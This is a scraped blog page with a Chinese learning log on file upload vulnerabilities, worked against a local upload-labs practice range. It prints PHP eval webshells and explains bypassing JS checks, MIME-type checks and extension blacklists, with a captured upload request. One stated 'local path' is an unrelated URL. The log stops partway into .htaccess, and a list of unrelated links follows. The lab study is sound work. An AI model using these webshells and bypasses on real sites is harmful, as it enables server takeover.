当前位置: 首页 > news >正文

20260326网安学习日志—文件上传漏洞

20260326文件上传漏洞

概念

上传文件的时候,如果服务器端脚本语言,未对上传文件进行严格的验证和过滤,就有可能上传恶意脚本,从而控制整个网站,甚至是服务器。

一、一句话木马

(一)

<?php phpinfo(); ?>

上传 1.php 卧底 到站点中,也就是 1.php卧底 上传到 up/根⽬录中

发现卧底1.php 已经把 upload站点⽹站服务器 信息给传递出来了, 此时 upload站点⽹站 已经信息泄露了

(二)

<?php @eval($_POST[cmd]); ?>

上传 2.php 卧底 到站点中,也就是 2.php卧底 上传到 upload/根⽬录中

然后火狐渗透板勾选Post data

然后再填写cmd=phpinfo()

(三)木马解释

分析:<?php @eval($_POST[cmd]); ?> ​ @ 代表不管发⽣什么错误,代码执⾏过程中,不管发⽣什么意外,都需要正常的执⾏下去 eval eval函数的作⽤是把字符串按照 代码来计算,其使⽤语法如“eval(phpcode)”,其中参数 phpcode则是规定要计算的代码 $_POST[cmd] 获得post请求,post请求中的参数为 cmd, 你给cmd参数的任何 命令, eval 都会⽆条件必学执⾏, 不管是什么危险任务,所以才需要@来保证,必须执⾏,⼀定执⾏ ⼀句话⽊⻢:⼤⽩话来说,不以编程⻆度来说: 1 eval 输⼊的内容 当做命令来执⾏ 2 $_POST 处理 post 提交的数据 3 cmd post提交的参数名,cmd=你要制定该⽊⻢ 完成什么命令 完成什么任务 等

(四)蚁剑

通过蚁剑结合(二)可实现控制目标文件

二、综合案例实操(白盒)——靶场共20个目标,20种方式攻破

(一)JS绕过(ctrl+s以假乱真)

JS 验证一般指JavaScript 前端表单验证(最常用场景),用于校验用户输入的内容是否符合规则(非空、邮箱、手机号、密码格式等)

ctrl+s保存当前页,文件类型选择【网页,全部】

查看源代码,我们会发现代码中,判断文件类型后进入if语句弹窗,我们可以通过不让其进入if从而达到目的

function checkFile() {    var file = document.getElementsByName('upload_file')[0].value;    if (file == null || file == "") {        alert("请选择要上传的文件!");        return false;   }    //定义允许上传的文件类型    var allow_ext = ".jpg|.png|.gif";    //提取上传文件的类型    var ext_name = file.substring(file.lastIndexOf("."));    //判断上传文件类型是否允许上传    if (allow_ext.indexOf(ext_name + "|") == -1) {        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;        alert(errMsg);        return false;   } }
//判断上传文件类型是否允许上传   if (allow_ext.indexOf(ext_name + "|") == -1)   将其改为假,从而无法进入if,改为   if (1 == -1)

但是现在又出现了一个问题,我们只是在本地进行了修改,没法影响到正常的网站。

这时候我们就要检查目标的调用函数

<form enctype="multipart/form-data" method="post" οnsubmit="return checkFile()">               <p>请选择要上传的图片:</p><p>               <input type="file">               <input type="submit" value="上传">

可以看到有如下这一条代码要我们选择要上传的照片,会调用我们本地

这时候我们可以添加动作action进行修改

将 <form enctype="multipart/form-data" method="post" οnsubmit="return checkFile()"> 改为: ​ <form action="http://localhost/Pass-01/index.php" enctype="multipart/form-data" method="post" οnsubmit="return checkFile()">

通过这个调用,在form表单中加入action官网,将我们修改的信息直接提交到了官网中

进行完这两处修改后保存退出,并且用同一浏览器打开修改后的本地文件。

这时我们可以看到地址栏中为https://wx-bgfccccb.xuanmuz.cn/PC/#/yueke3/3105455/3018005是我们的本地路径。

然后在上传文件的位置上传我们之前的一句话木马。之后提交。

然后就会发现地址栏发生变化,然后直接拷贝文件地址并且访问,访问成功即攻破该目标

(二)文件类型验证(bp修改文件类型)

查看源代码

$is_upload = false; $msg = null; if (isset($_POST['submit'])) {   if (file_exists(UPLOAD_PATH)) {       if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {           $temp_file = $_FILES['upload_file']['tmp_name'];           $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']                       if (move_uploaded_file($temp_file, $img_path)) {               $is_upload = true;           } else {               $msg = '上传出错!';           }       } else {           $msg = '文件类型不正确,请重新上传!';       }   } else {       $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';   } }
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'] 从中截取这部分我们可以看到判断文件类型就有资格上传,否则就拦截拒绝上传

选择木马文件上传之前BP拦截抓包

POST /Pass-02/index.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br Referer: http://localhost/Pass-02/index.php DNT: 1 Connection: keep-alive Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=---------------------------294402765129097 Content-Length: 330 -----------------------------294402765129097 Content-Disposition: form-data;; filename="1.php" Content-Type: application/octet-stream <?php phpinfo(); ?> -----------------------------294402765129097 Content-Disposition: form-data; 上传 -----------------------------294402765129097--
Content-Disposition: form-data;; filename="1.php" Content-Type: application/octet-stream 从这一栏我们可以看到它对上传文件类型的判断,直接强制性改变图片类型,然后放行 Content-Type: image/png

(三)黑名单验证(利用服务器特性)

黑名单验证中不让出现'.asp','.aspx','.php','.jsp'等后缀,并且也对大小写做了防御,并且也不允许.php.或者文件后缀后加空格的形式

$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array('.asp','.aspx','.php','.jsp'); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 if(!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }

由于Apache服务器【特性】能够使⽤php解析 phtml,php3。

通过上述源代码,我们可以看出并未对phtml,php3进行防御,可以直接修改文件后缀上传绕过黑名单。

(四)黑名单验证.htaccess

.htaccess(全称Hypertext Access,超文本访问)是Apache Web 服务器专用的分布式目录级配置文件<

http://www.jsqmd.com/news/572703/

相关文章:

  • Phi-4-mini-reasoning Chainlit定制化教程:添加LaTeX渲染与公式高亮
  • 如何用MelonLoader打造Unity游戏定制体验:双引擎支持的模组加载方案
  • 实测Qwen3-Reranker-0.6B:轻量级模型如何重塑企业RAG系统?
  • SEO 整站优化和内容营销有什么联系
  • 牛客 区间翻转
  • AI助力内容创作:Asian Beauty Z-Image Turbo生成社交媒体配图实战
  • FTDI飞特帝亚 FT232RQ-REEL QFN32 USB转换芯片
  • 3个高效方案实现IDM免费使用:开源工具永久激活全指南
  • 袁永福 电子病历,医疗信息化
  • 探索AI编程新范式:在快马平台像使用卓晴一样与多模型AI结对编程
  • 用ESP32-S3和Minimax API,手把手教你做个会聊天的AI语音助手(附完整代码)
  • ROS2开发环境搭建踩坑实录:Win11 + WSL + Ubuntu 22.04 LTS 避坑指南
  • WindowResizer终极教程:三分钟掌握Windows窗口自由调整技巧
  • 电磁屏蔽工程师必读:用银包镍粉做高效EMI屏蔽的完整指南
  • 2026年 帐篷厂家推荐排行榜,酒店帐篷/露营帐篷/帆船帐篷/球形帐篷/大草帽帐篷/灯笼帐篷,创意设计与品质工艺深度解析 - 品牌企业推荐师(官方)
  • SEO外包公司有哪些
  • 健康160挂号工具:3分钟掌握全自动预约技巧
  • Wan2.2-I2V-A14B应用场景:游戏CG预告片AI辅助生成工作流
  • Python智能内存回收实战:3种GC策略对比+4个生产级调优参数配置(附压测数据)
  • 实时(Qwen-Omni-Realtime)
  • 从无人机到新能源汽车:薄膜开关技术如何成为智能设备的“神经末梢“
  • AI辅助开发:让快马AI为你智能设计与优化海量数据处理的底层数据结构
  • 深度解析DeepCAD:如何用Transformer架构重塑AI驱动的CAD模型生成
  • 新手入门指南:用快马平台生成你的第一个twitter x数据抓取python脚本
  • 一步步教你:星图平台部署Qwen3-VL:30B完整流程,Clawdbot飞书集成实战
  • C语言_循环结构_题5
  • Wan2.2-I2V-A14B模型微调入门:LoRA适配器训练与私有风格注入
  • 如何用Analog构建API路由:完整实战教程
  • 职场感悟-结果导向
  • 第2章 工具选择:找到你的AI协作搭档